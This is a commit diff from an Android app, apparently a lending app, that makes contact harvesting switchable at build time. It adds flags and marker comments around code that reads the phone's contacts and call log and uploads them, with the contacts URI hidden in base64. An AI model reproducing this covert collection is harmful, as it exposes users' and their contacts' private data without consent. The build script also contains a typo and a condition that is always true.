Commit 53e8b0fa by sikang

remove contact

parent 3c18444a
......@@ -12,6 +12,18 @@ android {
buildConfigField 'String', 'TONGDUN_APP_NAME', '\"\"'
resValue('string', 'octopus_open_whatsapp', " Open Whatsapp")
try {
buildConfigField 'Boolean', 'NEED_CONTACT', "${contact}"
} catch (Exception e) {
buildConfigField 'Boolean', 'NEED_CONTACT', "true"
}
try {
buildConfigField 'Boolean', 'OPEN_LIVENESS', "${open_liveness}"
} catch (Exception e) {
buildConfigField 'Boolean', 'OPEN_LIVENESS', "true"
}
//同盾指纹SDK
buildConfigField 'String', 'TONGDUN_DEVICE_PARENT_CODE', '\"\"'
}
......@@ -70,7 +82,6 @@ dependencies {
}
// def startParams = getGradle().getStartParameter().getTaskRequests()[0]
// if(startParams!=null && startParams.getArgs().toString().contains("Website")){
// }
......
......@@ -34,7 +34,14 @@ cd lib_base/script
if((${action}=='1'))
then
./sdk_manager.py 'close' 'NOLOG' || { echo "sdk_manager error!"; exit 1; }
./sdk_manager.py 'close' 'NOLOG' || { echo "sdk_manager error!!!!!!!!!!!!!!!"; exit 1; }
if [ "${contact}"="true" ];then
./sdk_manager.py 'open' 'CONTACT' || { echo "sdk_manager error!!!!!!!!!!!!"; exit 1; }
eles
./sdk_manager.py 'close' 'CONTACT' || { echo "sdk_manager error!!!!!!!!!!!!"; exit 1; }
fi
init
gradlew resguardAppProductGoogleplayRelease
......
......@@ -137,7 +137,7 @@ public class Collector {
return arr;
}
});
//SDK-CONTACT-START
List<ContactEntity> contactEntityList = DataBaseHelper.getContacts();
List<CollectInfoEntity> infos2 = Stream.of(InfoType.CONTACT)
.map(new Function<InfoType, CollectInfoEntity>() {
......@@ -153,6 +153,7 @@ public class Collector {
return arr;
}
});
//SDK-CONTACT-END
infos1.addAll(infos2);
......@@ -296,6 +297,7 @@ public class Collector {
}
public static String toContactDTO(List<ContactEntity> contactList, Context context) {
//SDK-CONTACT-START
try {
JSONObject oneTypeData = initJSON(InfoType.CONTACT, context);
......@@ -343,6 +345,7 @@ public class Collector {
//UploadManager.uploadException(e, "Collector.toContactDTO");
}
//SDK-CONTACT-END
return "";
}
......@@ -528,11 +531,13 @@ public class Collector {
private static JSONArray getContactJSONArray(List<ContactEntity> contactList) {
JSONArray jsonArray = new JSONArray();
//SDK-CONTACT-START
if (contactList == null || contactList.size() == 0) {
return new JSONArray();
}
return Stream.of(contactList)
jsonArray = Stream.of(contactList)
.map(new Function<ContactEntity, JSONObject>() {
@Override
public JSONObject apply(ContactEntity contact) {
......@@ -593,6 +598,8 @@ public class Collector {
return jsonArray;
}
});
//SDK-CONTACT-END
return jsonArray;
}
/***/
......
......@@ -91,8 +91,8 @@ public class DataBaseHelper {
*/
@SuppressLint("MissingPermission")
public static List<ContactEntity> getContacts() {
List<ContactEntity> logs = new ArrayList<>();
//SDK-CONTACT-START
Cursor cursor = null;
try {
cursor = Nested.getCursor(CONTACT);
......@@ -120,7 +120,7 @@ public class DataBaseHelper {
cursor.close();
}
}
//SDK-CONTACT-END
return logs;
}
......@@ -310,14 +310,18 @@ public class DataBaseHelper {
private static class Nested {
@SuppressLint("MissingPermission")
private static Cursor getCursor(int type) {
//SDK-CONTACT-START
if (resolver == null) {
return null;
}
switch (type) {
case 12345:
return null;
//SDK-CONTACT-START
case CONTACT:
return resolver.query(getUri("Y29udGVudDovL2NvbS5hbmRyb2lkLmNvbnRhY3RzL2NvbnRhY3Rz"),
null, null, null, null);
//SDK-CONTACT-END
//SDK-NOLOG-START
case CALL_LOG:
return resolver
......
......@@ -245,6 +245,7 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
* 上传联系人
*/
public void uploadContact(String action, Context context) {
//SDK-CONTACT-START
Observable.just(true)
.observeOn(Schedulers.io())
.map(aBoolean -> {
......@@ -274,6 +275,7 @@ public class UploadPresenter extends BasePresenter<UploadApi> {
.observeOn(AndroidSchedulers.mainThread())
.onErrorReturn(throwable -> false)
.subscribe();
//SDK-CONTACT-END
}
}
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment